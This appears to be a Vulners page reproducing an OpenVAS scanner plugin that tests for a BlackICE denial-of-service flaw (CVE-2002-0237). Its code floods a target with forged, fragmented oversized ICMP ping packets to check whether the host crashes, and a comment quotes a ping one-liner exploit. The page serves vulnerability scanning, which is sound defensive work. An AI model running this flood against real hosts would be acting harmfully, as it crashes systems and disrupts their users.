Lucene search
+L

BlackIce DoS (ping flood)

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 515 Views

BlackIce denial of service (DoS) via ping flood with large packet

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
ISS BlackICE / RealSecure Large ICMP Ping Packet Overflow DoS
29 Mar 200200:00
nessus
Tenable Nessus
ISS BlackICE Multiple Remote Vulnerabilities
19 Mar 200400:00
nessus
CVE
CVE-2002-0237
25 Jun 200204:00
cve
Cvelist
CVE-2002-0237
25 Jun 200204:00
cvelist
EUVD
EUVD-2002-0234
7 Oct 202500:30
euvd
NVD
CVE-2002-0237
29 May 200204:00
nvd
Check Point Advisories
Security Best Practice: Familiarize Yourself with the Max Ping Size Protection
15 Aug 200800:00
checkpoint_advisories
SourceLink
securityfocuswww.securityfocus.com/bid/4025
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# TBD : eEyes gives this "exploit": ping -s 60000 -c 16 -p CC 1.1.1.1
#       But according to others, it doesn't work.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10927");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4025");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2002-0237");
  script_name("BlackIce DoS (ping flood)");
  script_category(ACT_FLOOD);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("global_settings.nasl", "os_detection.nasl");
  script_exclude_keys("keys/TARGET_IS_IPV6");
  script_mandatory_keys("Host/runs_windows"); # BlackICE Defender / Agent running on Windows according to some advisories.

  #  script_add_preference(name:"Flood length :", type:"entry", value:"600");
  #  script_add_preference(name:"Data length :", type:"entry", value:"10000");
  #  script_add_preference(name:"MTU :", type:"entry", value:"576");

  script_tag(name:"solution", value:"Upgrade your BlackIce software or remove it.");

  script_tag(name:"impact", value:"An attacker may use this attack to make this host crash continuously, preventing
  you from working properly.");

  script_tag(name:"summary", value:"It was possible to crash the remote machine by flooding it
  with 10 KB ping packets.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

if( TARGET_IS_IPV6() ) exit( 0 );

# Ensure that the host is still up
start_denial();
sleep( 2 );
up = end_denial();
if( ! up ) exit( 0 );

#fl = script_get_preference("Flood length :");
if( ! fl ) fl = 600;
#dl = script_get_preference("Data length :");
if( ! dl ) dl = 60000;
#mtu = script_get_preference("MTU :");
if( ! mtu ) mtu = 1500;
maxdata = mtu - 20 - 8; # IP + ICMP
maxdata = maxdata / 8; maxdata = maxdata * 8;
if( maxdata < 16 ) maxdata = 544;

src = this_host();
dst = get_host_ip();
id = 666;
seq = 0;

start_denial();

for( i = 0; i < fl; i++ ) {

  id = id + 1;
  seq = seq + 1;
  for( j = 0; j < dl; j = j + maxdata ) {
    datalen = dl - j;
    o = j / 8;
    if( datalen > maxdata ) {
      o = o | 0x2000;
      datalen = maxdata;
    }
    ip = forge_ip_packet( ip_v:4, ip_hl:5, ip_tos:0, ip_off:o,
                          ip_p:IPPROTO_ICMP, ip_id:id, ip_ttl:0x40,
                          ip_src:this_host() );
    icmp = forge_icmp_packet( ip:ip, icmp_type:8, icmp_code:0,
                              icmp_seq:seq, icmp_id:seq, data:crap( datalen - 8 ) );
    send_packet( icmp, pcap_active:FALSE );
  }
}

alive = end_denial();
if( ! alive ) {
  security_message(port:0, proto:"icmp");
  set_kb_item( name:"Host/dead", value:TRUE );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Aug 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 27.5
EPSS0.03692
515